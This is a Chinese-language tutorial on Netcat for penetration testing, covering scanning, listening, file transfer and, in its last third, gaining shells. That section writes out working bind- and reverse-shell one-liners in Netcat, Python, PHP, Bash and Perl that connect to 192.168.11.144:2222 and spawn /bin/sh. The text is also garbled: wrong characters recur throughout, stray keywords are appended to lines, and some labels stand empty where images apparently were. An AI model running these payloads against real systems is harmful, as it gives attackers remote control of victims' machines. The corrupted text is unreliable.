前言
最近在作滲透測試的時候遇到了端口監聽和shell的反彈問題,在這個過程當中本身對Netcat這一款神器有了新的認識,現將一些Netcat的用法作一個小總結,但願對各位有幫助!php
Netcat簡介
Netcat是一款很是出名的網絡工具,簡稱「NC」,有滲透測試中的「瑞士軍刀」之稱。它能夠用做端口監聽、端口掃描、遠程文件傳輸、還能夠實現遠程shell等功能。總之功能強大,能夠用一句較爲風趣的話來描述NC的強大——「你的想象力是侷限NC的瓶頸」。python
Netcat選項參數說明
功能說明:端口掃描、端口監聽、遠程文件傳輸、遠程shell等等;nginx
語 法:nc [-hlnruz][-g<網關...>][-G<指向器數目>][-i<延遲秒數>][-o<輸出文件>][-p<通訊端口>][-s<來源位址>][-v...][-w<超時秒數>][主機名稱][通訊端口...]shell
參 數:apache
-g <網關> 設置路由器躍程通訊網關,最多可設置8個;bash
-G <指向器數目> 設置來源路由指向器,其數值爲4的倍數;服務器
-h 在線幫助; 網絡
-i <延遲秒數> 設置時間間隔,以便傳送信息及掃描通訊端口;socket
-l 使用監聽模式,管控傳入的資料;tcp
-n 直接使用IP地址,而不經過域名服務器;
-o <輸出文件> 指定文件名稱,把往來傳輸的數據以16進制字碼傾倒成該文件保存;
-p <通訊端口> 設置本地主機使用的通訊端口;
-r 亂數指定本地與遠端主機的通訊端口;
-s <來源位址> 設置本地主機送出數據包的IP地址;
-u 使用UDP傳輸協議;
-v 顯示指令執行過程;
-w <超時秒數> 設置等待連線的時間;
-z 使用0輸入/輸出模式,只在掃描通訊端口時使用。
Netcat簡易使用
鏈接到遠程主機
命令:nc -nvv Targert_IP Targert_Port
監聽本地主機
命令:nc -l -p Local_Port
端口掃描
掃描指定主機的單一端口是否開放
格式:nc -v target_IP target_Port
掃描指定主機的某個端口段的端口開放信息
格式:nc -v -z Target_IP Target_Port_Start - Target_Port_End
掃描指定主機的某個UDP端口段,而且返回端口信息
格式:nc -v -z -u Target_IP Target_Port_Start - Target_Port_End
掃描指定主機的端口段信息,而且設置超時時間爲3秒
格式:nc -vv(-v) -z -w time Target_IP Target_Port_Start-Targert_Port_End
端口監聽
監聽本地端口
格式:nc -l -p local_Port
注:先設置監聽(不能出現端口衝突),以後若是有外來訪問則輸出該詳細信息到命令行
監聽本地端口,而且將監聽到的信息保存到指定的文件中
格式:nc -l -p local_Port > target_File
鏈接遠程系統
格式:nc Target_IP Target_Port
以後能夠運行HTTP請求
FTP匿名探測
格式:nc Targert_IP 21
文件傳輸
傳輸端:
格式:nc Targert_IP Targert_Port < Targert_File
接收端:
格式:nc -l Local_Port > Targert_File
簡易聊天
本地主機
命令:nc -l 8888
遠程主機
命令:nc Targert_IP Targert_Port
蜜罐
做爲蜜罐使用1:
命令:nc -L -p Port
注:使用「-L」參數能夠不停的監聽某一個端口,知道Ctrl+C爲止
做爲蜜罐使用2:
命令:nc -L -p Port >log.txt
注:使用「-L」參數能夠不停的監聽某一個端口,知道Ctrl+C爲止,同時把結果輸出到log.txt文件中,若是把「>」改成「>>」即追加到文件以後。
這一個命令參數「-L」在Windows中有,如今的Linux中是沒有這個選項的,可是本身能夠去找找,這裏只是想到了以前的這個使用,因此提出來簡單介紹一下!
獲取shell
簡述:獲取shell分爲兩種,一種是正向shell,一種是方向shell。若是客戶端鏈接服務器端,想要獲取服務器端的shell,那麼稱爲正向shell,若是是客戶端鏈接服務器,服務器端想要獲取客戶端的shell,那麼稱爲反向shell
正向shell
本地主機:
命令:nc Targert_IP Targert_Port
目標主機:
命令:nc -lvp Targert_Port -e /bin/sh
反向shell
本地主機:
命令: nc -lvp Target_Port
目標主機:
命令: nc Targert_IP Targert_Port -e /bin/sh
特殊狀況——目標主機上沒有Netcat,如何獲取反向shell
在通常狀況下,目標主機上通常都是不會有Netcat的,此時就須要使用其餘替代的方法來實現反向連接達到攻擊主機的目的,下面簡單的介紹幾種反向shell的設置。
python反向shell
目標主機端執行語句:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.144",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
本地主機
目標主機
PHP反向shell
目標主機端執行語句:
php -r '$sock=fsockopen("192.168.11.144",2222);exec("/bin/sh -i <&3 >&3 2>&3");'
本地主機:
目標主機:
Bash反向shell
目標主機端執行語句:
bash -i>&/dev/tcp/192.168.11.144/2222 0>&1
本地主機:
目標主機:
Perl反向shell
目標主機端執行語句:
perl -e 'use Socket;$i="192.168.11.144";$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
本地主機
目標主機
注:書寫的時候必定要注意這裏單引號、雙引號是英文格式的,否則會報錯誤!